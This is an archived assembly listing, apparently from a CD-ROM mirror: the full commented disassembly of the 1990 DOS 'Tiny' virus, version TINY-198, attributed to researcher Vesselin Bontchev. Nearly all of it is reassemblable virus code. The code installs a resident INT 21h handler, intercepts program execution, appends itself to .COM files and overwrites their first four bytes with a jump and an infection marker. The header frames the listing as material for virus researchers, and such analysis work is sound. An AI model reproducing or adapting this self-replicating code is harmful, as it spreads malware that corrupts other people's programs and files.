home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TINY-198.ASM < prev    next >
Assembly Source File  |  1990-07-09  |  5KB  |  199 lines

  1.     page    ,132
  2.     name    TINY198
  3.     title    The 'Tiny' virus, version TINY-198
  4.     .radix    16
  5.  
  6. ; ╔══════════════════════════════════════════════════════════════════════════╗
  7. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  8. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  9. ; ║                                         ║
  10. ; ║             The 'Tiny' Virus, version TINY-198                  ║
  11. ; ║            Disassembled by Vesselin Bontchev, July 1990         ║
  12. ; ║                                         ║
  13. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  14. ; ║                                         ║
  15. ; ║     This listing is only to be made available to virus researchers      ║
  16. ; ║           or software writers on a need-to-know basis.          ║
  17. ; ╚══════════════════════════════════════════════════════════════════════════╝
  18.  
  19. ; The disassembly has been tested by re-assembly using MASM 5.0.
  20.  
  21. code    segment
  22.     assume    cs:code, ds:code
  23.  
  24.     org    100
  25.  
  26. seg_60    equ    600
  27. v_len    equ    v_end-v_entry
  28.  
  29. start:
  30.     jmp    v_entry     ; Jump to virus code
  31.     db    'M'             ; Virus signature
  32.     mov    ax,4C00     ; Program terminate
  33.     int    21
  34.  
  35. v_entry:
  36.     call    self        ; Determine the start addres of the virus body
  37. self:
  38.     pop    si
  39.     sub    si,3
  40.  
  41.     push    ax        ; Save AX (to keep programs as DISKCOPY happy)
  42.  
  43. ; Check whether the virus is already in memory and just run the program if so:
  44.  
  45.     mov    ah,0E9
  46.     int    21
  47.  
  48.     mov    di,seg_60    ; Point ES:DI at 0000:0600h (i.e, segment 60h)
  49.     xor    cx,cx        ; ES := 0
  50.     mov    es,cx
  51.     mov    cl,v_len    ; CX := virus length
  52.     rep    movsb        ; Move the virus body there
  53.  
  54. ; Transfer control to cont: by PUSHing its address
  55. ; on the stack and executing RETF:
  56.  
  57.     push    es
  58.     mov    ax,cont-v_entry+seg_60
  59.     push    ax
  60.     retf
  61.  
  62. ; The original first 4 bytes of the infected file:
  63.  
  64. first4    db    0EBh, 2, 90, 90
  65.  
  66. ; Resume execution from here (but already in segment 60h):
  67.  
  68. cont:
  69.  
  70. ; Install new INT 21h handler and move the old one at INT 32h:
  71.  
  72.     mov    di,21*4
  73.     mov    cl,2
  74.     mov    ax,int_21-v_entry+seg_60
  75.     cld
  76. lp:
  77.     push    word ptr es:[di]    ; Get old handler's address
  78.     pop    word ptr es:[di+(32-21)*4]    ; Move it at INT 32h
  79.     stosw            ; Install the new one
  80.     mov    ax,cs
  81.     loop    lp        ; Loop until done
  82.  
  83. ; Save the original first 4 bytes of the infected program on the stack:
  84.  
  85.     push    word ptr cs:[first4-v_entry+seg_60]
  86.     push    word ptr cs:[first4+2-v_entry+seg_60]
  87.  
  88. run_pgm:
  89.     mov    di,offset start ; Point DI at program's start
  90.     pop    word ptr [di+2] ; Restore the first 4 bytes of the program
  91.     pop    word ptr [di]
  92.     pop    ax        ; Restore the original value of AX
  93.     push    ds
  94.     push    ds        ; ES := DS
  95.     pop    es
  96.     push    di        ; Push 100h on the stack
  97.     retf
  98.  
  99. mem_chk:
  100.  
  101. ; Push the original first 4 bytes of the infected program on the stack:
  102.  
  103.     push    word ptr [si+first4-v_entry]
  104.     push    word ptr [si+first4+2-v_entry]
  105.     jmp    run_pgm     ; And run the original program
  106.  
  107. int_21:             ; New INT 21h handler
  108.     cmp    ah,0E9        ; Memory check?
  109.     je    mem_chk     ; If infected, run the original program
  110.     cmp    ax,4B00     ; EXEC function call?
  111.     jne    end_21        ; Exit if not
  112.  
  113.     push    ax        ; Save registers used
  114.     push    bx
  115.     push    cx
  116.     push    dx
  117.     push    di
  118.     push    ds
  119.     push    es
  120.  
  121.     push    cs        ; ES := CS
  122.     pop    es
  123.  
  124.     mov    ax,3D02     ; Open the file for both reading and writting
  125.     int    32
  126.     jc    end_exec    ; Exit on error
  127.     mov    bx,ax        ; Save the file handle in BX
  128.  
  129.     mov    ah,3F        ; Read the first 4 bytes of the file
  130.     mov    cx,4        ; 4 bytes to read
  131.     mov    dx,first4-v_entry+seg_60    ; Put them in first4
  132.     mov    di,dx        ; Save first4 address in DI
  133.     push    cs        ; DS := CS
  134.     pop    ds
  135.     int    32        ; Do it
  136.  
  137. ; Check whether the file is already infected or is an .EXE file.
  138. ; The former contains the character `M' in its 3rd byte and
  139. ; the latter contains it either in the 0th or in the 1st byte.
  140.  
  141.     push    di        ; Save DI
  142.     mov    al,'M'          ; Look for `M'
  143.     repne    scasb
  144.     pop    di        ; Restore DI
  145.     je    close        ; Exit if file not suitable for infection
  146.  
  147.     mov    ax,4202     ; Seek to the end of file
  148.     xor    cx,cx
  149.     xor    dx,dx
  150.     int    32        ; Do it
  151.  
  152.     push    ax        ; Save file length
  153.  
  154.     mov    dh,6        ; DX = 600h, i.e. point it at 0000:0600h
  155.     mov    cl,v_len    ; Length of virus body
  156.     mov    ah,40        ; Append virus to file
  157.     int    32        ; Do it
  158.  
  159.     mov    ax,4200     ; Seek to the file beginning
  160.     xor    cx,cx
  161.     xor    dx,dx
  162.     int    32        ; Do it
  163.  
  164.     mov    dx,di        ; Point DX at first4
  165.     mov    al,0E9        ; Near JMP opcode
  166.     stosb            ; Form the first instruction of the file
  167.     pop    ax        ; Restore file length in AX
  168.     sub    ax,3        ; Subtract 3 (first instruction length)
  169.     stosw            ; Form the JMP's opperand
  170.     mov    al,'M'          ; Add a `M' character to mark the file
  171.     stosb            ;  as infected
  172.  
  173.     mov    cl,4        ; Overwrite the first 4 bytes of the file
  174.     mov    ah,40
  175.     int    32        ; Do it
  176.  
  177. close:
  178.     mov    ah,3E        ; Close the file
  179.     int    32
  180.  
  181. end_exec:
  182.     pop    es        ; Restore used registers
  183.     pop    ds
  184.     pop    di
  185.     pop    dx
  186.     pop    cx
  187.     pop    bx
  188.     pop    ax
  189.  
  190. ; Exit through the original INT 21h handler:
  191.  
  192. end_21:
  193.     jmp    dword ptr cs:[32*4]
  194.  
  195. v_end    equ    $        ; End of virus body
  196.  
  197. code    ends
  198.     end    start
  199.